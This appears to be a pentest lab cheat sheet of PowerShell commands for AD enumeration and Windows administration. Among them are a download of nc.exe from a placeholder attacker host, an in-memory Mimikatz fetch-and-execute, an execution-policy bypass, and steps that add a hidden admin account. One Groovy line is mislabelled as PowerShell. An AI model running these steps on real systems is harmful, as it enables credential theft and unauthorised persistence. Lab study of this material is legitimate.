> For the complete documentation index, see [llms.txt](https://akuma-s.gitbook.io/akuma/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://akuma-s.gitbook.io/akuma/hardening/powershell-cheat-sheet.md).

# Powershell Cheat sheet

**`Get all the groups with their user in count.`**

```
Get-ADGroup -Filter * | ForEach-Object { $_.Name + " : " + (Get-ADGroupMember -Identity $_.DistinguishedName | Where-Object { $_.objectClass -eq 'user' }).Count }
```

```powershell
powershell -executionpolicy bypass
```

**Downloading file with Powershell**

```powershell
powershell.exe "(New-object System.Net.WebClient).DownloadFile('http://domain.com/whoami.exe','c:\Users\Public\whoami.exe')"
```

```powershell
powershell "(New-object System.Net.WebClient).Downloadfile('http://IP:PORT/nc.exe','nc.exe')"
```

**Executing an Application from Powershell**

```powershell
println new ProcessBuilder("payload.exe").redirectErrorStream(true).start().text
```

**Switching from normal user into another**

```powershell
$username = 'user'
$password = 'password'

$securePassword = ConvertTo-SecureString
$password -AsPlainText -Force

$credential = New-Object System.Management.Automation.PSCredential
$username, $securePassword
```

\[+]powershell script to Download mimikatz and execute it in memory only:

```powershell
$browser = New-Object System.Net.WebClient $browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials IEX($browser.DownloadString("https://raw.githubusercontent.Mimikatz.ps1"))
invoke-Mimikatz  
```

### Powershell Cheat sheet

\[+]

```powershell
Get-WmiObject -Class win32_OperatingSystem   //Get information about the operating system

Get-Service | ? {$_.Status -eq "Running"} | select -First 2 |fl     //format list. show all the details about this proc
```

#### Cheatsheet

| **Command**                                                    | **Description**                                                         |
| -------------------------------------------------------------- | ----------------------------------------------------------------------- |
| `xfreerdp /v:<target IP address> /u:htb-student /p:<password>` | RDP to lab target                                                       |
| `Get-WmiObject -Class win32_OperatingSystem`                   | Get information about the operating system                              |
| `dir c:\ /a`                                                   | View all files and directories in the c:\ root directory                |
| `tree <directory>`                                             | Graphically displaying the directory structure of a path                |
| `tree c:\ /f \| more`                                          | Walk through results of the `tree` command page by page                 |
| `icacls <directory>`                                           | View the permissions set on a directory                                 |
| `icacls c:\users /grant joe:f`                                 | Grant a user full permissions to a directory                            |
| `icacls c:\users /remove joe`                                  | Remove a users' permissions on a directory                              |
| `Get-Service`                                                  | `PowerShell` cmdlet to view running services                            |
| `help <command>`                                               | Display the help menu for a specific command                            |
| `get-alias`                                                    | List `PowerShell` aliases                                               |
| `New-Alias -Name "Show-Files" Get-ChildItem`                   | Create a new `PowerShell` alias                                         |
| `Get-Module \| select Name,ExportedCommands \| fl`             | View imported `PowerShell` modules and their associated commands        |
| `Get-ExecutionPolicy -List`                                    | View the `PowerShell` execution policy                                  |
| `Set-ExecutionPolicy Bypass -Scope Process`                    | Set the `PowerShell` execution policy to bypass for the current session |
| `wmic os list brief`                                           | Get information about the operating system with `wmic`                  |
| `Invoke-WmiMethod`                                             | Call methods of `WMI` objects                                           |
| `whoami /user`                                                 | View the current users' SID                                             |
| `reg query <key>`                                              | View information about a registry key                                   |
| `Get-MpComputerStatus`                                         | Check which `Defender` protection settings are enabled                  |
| `sconfig`                                                      | Load Server Configuration menu in Windows Server Core                   |

### Enumerate Through powershell

**Get-ADUser cmdlet to enumerate AD users]**

```
Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *
```

\`List all the possible user

```
Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A
```

**Get-ADGroup cmdlet to enumerate AD groups**

```
Get-ADGroup -Identity Administrators -Server za.tryhackme.com
```

`enumerate group membership using the Get-ADGroupMember cmdlet`

```
Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com
```

***

**Powershell Credential object (PSCredential)**

```
PS C:\htb> $username = 'plaintext'
PS C:\htb> $password = 'Password123'
PS C:\htb> $secpassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\htb> $cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
PS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred
```

## Environment Variables in Windows

### How to use them in PowerShell

Environment Varaibles can be used in PowerShell with the prefix `$env:`.

**Example**\*: *Variable:* `%APPDATA%` *In Powershell:* `$env:APPDATA`

### List of environment variables

| Variable                            | Description                                                                           |
| ----------------------------------- | ------------------------------------------------------------------------------------- |
| `%ALLUSERSPROFILE%`                 | C:\ProgramData                                                                        |
| `%APPDATA%`                         | C:\Users{username}\AppData\Roaming                                                    |
| `%COMMONPROGRAMFILES%`              | C:\Program Files\Common Files                                                         |
| `%COMMONPROGRAMFILES(x86)%`         | C:\Program Files (x86)\Common Files                                                   |
| `%CommonProgramW6432%`              | C:\Program Files\Common Files                                                         |
| `%COMSPEC%`                         | C:\Windows\System32\cmd.exe                                                           |
| `%HOMEDRIVE%`                       | C:\\                                                                                  |
| `%HOMEPATH%`                        | C:\Users{username}                                                                    |
| `%LOCALAPPDATA%`                    | C:\Users{username}\AppData\Local                                                      |
| `%LOGONSERVER%`                     | \\{domain\_logon\_server}                                                             |
| `%PATH%`                            | C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem                               |
| `%PathExt%`                         | .com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc                                 |
| `%PROGRAMDATA%`                     | C:\ProgramData                                                                        |
| `%PROGRAMFILES%`                    | C:\Program Files                                                                      |
| `%ProgramW6432%`                    | C:\Program Files                                                                      |
| `%PROGRAMFILES(X86)%`               | C:\Program Files (x86)                                                                |
| `%PROMPT%`                          | $P$G                                                                                  |
| `%SystemDrive%`                     | C:                                                                                    |
| `%SystemRoot%`                      | C:\Windows                                                                            |
| `%TEMP%`                            | C:\Users{username}\AppData\Local\Temp                                                 |
| `%TMP%`                             | C:\Users{username}\AppData\Local\Temp                                                 |
| `%USERDOMAIN%`                      | Userdomain associated with current user.                                              |
| `%USERDOMAIN_ROAMINGPROFILE%`       | Userdomain associated with roaming profile.                                           |
| `%USERNAME%`                        | {username}                                                                            |
| `%USERPROFILE%`                     | C:\Users{username}                                                                    |
| `%WINDIR%`                          | C:\Windows                                                                            |
| `%PUBLIC%`                          | C:\Users\Public                                                                       |
| `%PSModulePath%`                    | %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\\                                |
| `%OneDrive%`                        | C:\Users{username}\OneDrive                                                           |
| `%DriverData%`                      | C:\Windows\System32\Drivers\DriverData                                                |
| `%CD%`                              | Outputs current directory path. (Command Prompt.)                                     |
| `%CMDCMDLINE%`                      | Outputs command line used to launch current Command Prompt session. (Command Prompt.) |
| `%CMDEXTVERSION%`                   | Outputs the number of current command processor extensions. (Command Prompt.)         |
| `%COMPUTERNAME%`                    | Outputs the system name.                                                              |
| `%DATE%`                            | Outputs current date. (Command Prompt.)                                               |
| `%TIME%`                            | Outputs time. (Command Prompt.)                                                       |
| `%ERRORLEVEL%`                      | Outputs the number of defining exit status of previous command. (Command Prompt.)     |
| `%PROCESSOR_IDENTIFIER%`            | Outputs processor identifier.                                                         |
| `%PROCESSOR_LEVEL%`                 | Outputs processor level.                                                              |
| `%PROCESSOR_REVISION%`              | Outputs processor revision.                                                           |
| `%NUMBER_OF_PROCESSORS%`            | Outputs the number of physical and virtual cores.                                     |
| `%RANDOM%`                          | Outputs random number from 0 through 32767.                                           |
| `%OS%`                              | Windows\_NT                                                                           |
| \*\*\*\*                            |                                                                                       |
| # Add User                          |                                                                                       |
| First we create the account itself: |                                                                                       |
| `net user USERNAME PASSWORD /add`   |                                                                                       |

## Add a user with admin privilege

First we create the account itself:\
`net user USERNAME PASSWORD /add`

Next we add our newly created account in the "Administrators" and "Remote Management Users" groups:\
`net localgroup Administrators USERNAME /add net localgroup "Remote Management Users" USERNAME /add`
